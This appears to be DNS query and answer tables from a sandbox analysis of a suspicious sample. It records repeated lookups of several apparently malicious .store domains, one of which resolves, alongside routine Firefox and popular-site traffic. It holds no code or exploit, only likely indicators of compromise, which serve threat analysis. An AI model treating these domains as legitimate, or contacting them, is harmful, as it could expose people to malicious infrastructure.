Oct 30, 2024 04:34:15.269869089 CET	192.168.2.7	1.1.1.1	0x8e71	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:15.280297041 CET	192.168.2.7	1.1.1.1	0xa33d	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:15.290868998 CET	192.168.2.7	1.1.1.1	0xd811	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:15.302110910 CET	192.168.2.7	1.1.1.1	0xc21d	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:28.934314966 CET	192.168.2.7	1.1.1.1	0x8675	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:28.951069117 CET	192.168.2.7	1.1.1.1	0x4d4c	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:28.963849068 CET	192.168.2.7	1.1.1.1	0xb994	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:28.978734016 CET	192.168.2.7	1.1.1.1	0xac8d	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:44.556381941 CET	192.168.2.7	1.1.1.1	0x9dbd	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:44.641865969 CET	192.168.2.7	1.1.1.1	0x9cf1	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:44.663194895 CET	192.168.2.7	1.1.1.1	0x8026	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:44.675719023 CET	192.168.2.7	1.1.1.1	0x99ca	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.111120939 CET	192.168.2.7	1.1.1.1	0x65d8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.125730038 CET	192.168.2.7	1.1.1.1	0x77ef	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:35:54.932069063 CET	192.168.2.7	1.1.1.1	0x93c0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.933096886 CET	192.168.2.7	1.1.1.1	0xe66	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.948961973 CET	192.168.2.7	1.1.1.1	0x5aa8	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.949810982 CET	192.168.2.7	1.1.1.1	0xe022	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.964112043 CET	192.168.2.7	1.1.1.1	0x314f	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 30, 2024 04:35:54.967926979 CET	192.168.2.7	1.1.1.1	0x38a4	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:35:55.431655884 CET	192.168.2.7	1.1.1.1	0x41fc	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.501492977 CET	192.168.2.7	1.1.1.1	0xbe1b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.501673937 CET	192.168.2.7	1.1.1.1	0x220b	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.501844883 CET	192.168.2.7	1.1.1.1	0x5083	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.529800892 CET	192.168.2.7	1.1.1.1	0xfadb	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.530591011 CET	192.168.2.7	1.1.1.1	0xb5b	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 04:35:55.547240019 CET	192.168.2.7	1.1.1.1	0x85cf	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:35:55.790076017 CET	192.168.2.7	1.1.1.1	0xae81	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:35:56.458353996 CET	192.168.2.7	1.1.1.1	0x8aa8	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:56.459682941 CET	192.168.2.7	1.1.1.1	0x5a2e	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:57.452284098 CET	192.168.2.7	1.1.1.1	0xad96	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:57.453077078 CET	192.168.2.7	1.1.1.1	0x8f11	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:57.473097086 CET	192.168.2.7	1.1.1.1	0xb4e5	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:35:57.724117994 CET	192.168.2.7	1.1.1.1	0x2167	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:18.711579084 CET	192.168.2.7	1.1.1.1	0xdd3d	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:18.757541895 CET	192.168.2.7	1.1.1.1	0x3fb1	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:18.772104979 CET	192.168.2.7	1.1.1.1	0xa1a8	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:18.789293051 CET	192.168.2.7	1.1.1.1	0x450e	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.040252924 CET	192.168.2.7	1.1.1.1	0xc5c0	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:36:20.160928011 CET	192.168.2.7	1.1.1.1	0xe65a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 04:36:20.201817036 CET	192.168.2.7	1.1.1.1	0x5fd0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:36:20.263171911 CET	192.168.2.7	1.1.1.1	0x7997	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:36:20.513072968 CET	192.168.2.7	1.1.1.1	0x69d2	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.615773916 CET	192.168.2.7	1.1.1.1	0x9bec	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.642406940 CET	192.168.2.7	1.1.1.1	0x2185	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.654689074 CET	192.168.2.7	1.1.1.1	0x9a97	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 04:36:20.695291996 CET	192.168.2.7	1.1.1.1	0xc455	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.717312098 CET	192.168.2.7	1.1.1.1	0x2b53	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.759789944 CET	192.168.2.7	1.1.1.1	0x86b1	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:36:21.360830069 CET	192.168.2.7	1.1.1.1	0x30c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:21.370764017 CET	192.168.2.7	1.1.1.1	0x71c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 04:36:23.129945040 CET	192.168.2.7	1.1.1.1	0xefba	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:23.138770103 CET	192.168.2.7	1.1.1.1	0x8681	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:23.158795118 CET	192.168.2.7	1.1.1.1	0x95b9	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 04:36:24.096185923 CET	192.168.2.7	1.1.1.1	0x55d0	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.096187115 CET	192.168.2.7	1.1.1.1	0x4724	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.096434116 CET	192.168.2.7	1.1.1.1	0x8f07	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.105159044 CET	192.168.2.7	1.1.1.1	0x39dc	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.135726929 CET	192.168.2.7	1.1.1.1	0x30a5	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.136104107 CET	192.168.2.7	1.1.1.1	0xdc0e	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 30, 2024 04:36:24.136204004 CET	192.168.2.7	1.1.1.1	0xebaa	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.145396948 CET	192.168.2.7	1.1.1.1	0xa9bc	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 30, 2024 04:36:24.165956020 CET	192.168.2.7	1.1.1.1	0x80e	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.176594019 CET	192.168.2.7	1.1.1.1	0x3ef3	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.177072048 CET	192.168.2.7	1.1.1.1	0xbecc	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 30, 2024 04:36:24.206173897 CET	192.168.2.7	1.1.1.1	0x21d4	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.216233015 CET	192.168.2.7	1.1.1.1	0xad3c	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.216531992 CET	192.168.2.7	1.1.1.1	0x3579	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 30, 2024 04:36:24.257018089 CET	192.168.2.7	1.1.1.1	0x4d6e	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 04:34:15.264148951 CET	1.1.1.1	192.168.2.7	0x18d0	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:15.278721094 CET	1.1.1.1	192.168.2.7	0x8e71	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:15.289308071 CET	1.1.1.1	192.168.2.7	0xa33d	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:15.300535917 CET	1.1.1.1	192.168.2.7	0xd811	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:15.315099001 CET	1.1.1.1	192.168.2.7	0xc21d	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:34:15.315099001 CET	1.1.1.1	192.168.2.7	0xc21d	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:28.944257021 CET	1.1.1.1	192.168.2.7	0x8675	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:28.961536884 CET	1.1.1.1	192.168.2.7	0x4d4c	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:28.975848913 CET	1.1.1.1	192.168.2.7	0xb994	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:28.988284111 CET	1.1.1.1	192.168.2.7	0xac8d	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:44.636554003 CET	1.1.1.1	192.168.2.7	0x9dbd	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:44.657496929 CET	1.1.1.1	192.168.2.7	0x9cf1	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:44.673208952 CET	1.1.1.1	192.168.2.7	0x8026	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:44.684420109 CET	1.1.1.1	192.168.2.7	0x99ca	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.096621990 CET	1.1.1.1	192.168.2.7	0xd788	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.118822098 CET	1.1.1.1	192.168.2.7	0x65d8	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.940043926 CET	1.1.1.1	192.168.2.7	0x93c0	No error (0)	youtube.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.940536022 CET	1.1.1.1	192.168.2.7	0xe66	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:35:54.940536022 CET	1.1.1.1	192.168.2.7	0xe66	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.956948996 CET	1.1.1.1	192.168.2.7	0x5aa8	No error (0)	youtube.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.956980944 CET	1.1.1.1	192.168.2.7	0xe022	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:54.972110987 CET	1.1.1.1	192.168.2.7	0x314f	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 30, 2024 04:35:54.975212097 CET	1.1.1.1	192.168.2.7	0x38a4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 04:35:55.438133001 CET	1.1.1.1	192.168.2.7	0x6367	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:35:55.438133001 CET	1.1.1.1	192.168.2.7	0x6367	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.438842058 CET	1.1.1.1	192.168.2.7	0x41fc	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.508672953 CET	1.1.1.1	192.168.2.7	0x220b	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.509633064 CET	1.1.1.1	192.168.2.7	0x5083	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:35:55.509633064 CET	1.1.1.1	192.168.2.7	0x5083	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.524810076 CET	1.1.1.1	192.168.2.7	0xbe1b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:55.537040949 CET	1.1.1.1	192.168.2.7	0xfadb	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:56.466428995 CET	1.1.1.1	192.168.2.7	0x8aa8	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:35:56.466428995 CET	1.1.1.1	192.168.2.7	0x8aa8	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:35:56.466428995 CET	1.1.1.1	192.168.2.7	0x8aa8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:56.467576981 CET	1.1.1.1	192.168.2.7	0x5a2e	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:57.459487915 CET	1.1.1.1	192.168.2.7	0xad96	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:57.459487915 CET	1.1.1.1	192.168.2.7	0xad96	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:57.460333109 CET	1.1.1.1	192.168.2.7	0x8f11	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:35:57.480194092 CET	1.1.1.1	192.168.2.7	0xb4e5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 04:35:57.731386900 CET	1.1.1.1	192.168.2.7	0x2167	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:35:57.731386900 CET	1.1.1.1	192.168.2.7	0x2167	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:18.721054077 CET	1.1.1.1	192.168.2.7	0xdd3d	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:18.769226074 CET	1.1.1.1	192.168.2.7	0x3fb1	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:18.781817913 CET	1.1.1.1	192.168.2.7	0xa1a8	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:18.798886061 CET	1.1.1.1	192.168.2.7	0x450e	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.520735025 CET	1.1.1.1	192.168.2.7	0x69d2	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:20.623193979 CET	1.1.1.1	192.168.2.7	0x9bec	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.649863958 CET	1.1.1.1	192.168.2.7	0x2185	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.702658892 CET	1.1.1.1	192.168.2.7	0xc455	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:20.702658892 CET	1.1.1.1	192.168.2.7	0xc455	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.724891901 CET	1.1.1.1	192.168.2.7	0x2b53	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:20.768737078 CET	1.1.1.1	192.168.2.7	0x82d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:20.768737078 CET	1.1.1.1	192.168.2.7	0x82d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:21.359898090 CET	1.1.1.1	192.168.2.7	0x25ad	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:21.368031025 CET	1.1.1.1	192.168.2.7	0x30c	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:22.110622883 CET	1.1.1.1	192.168.2.7	0xda29	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:23.137664080 CET	1.1.1.1	192.168.2.7	0xefba	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:23.137664080 CET	1.1.1.1	192.168.2.7	0xefba	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:23.137664080 CET	1.1.1.1	192.168.2.7	0xefba	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:23.147201061 CET	1.1.1.1	192.168.2.7	0x8681	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103538990 CET	1.1.1.1	192.168.2.7	0x55d0	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103538990 CET	1.1.1.1	192.168.2.7	0x55d0	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103559971 CET	1.1.1.1	192.168.2.7	0x8f07	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103559971 CET	1.1.1.1	192.168.2.7	0x8f07	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.103586912 CET	1.1.1.1	192.168.2.7	0x4724	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.112278938 CET	1.1.1.1	192.168.2.7	0x39dc	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.142847061 CET	1.1.1.1	192.168.2.7	0x30a5	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143239021 CET	1.1.1.1	192.168.2.7	0xdc0e	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
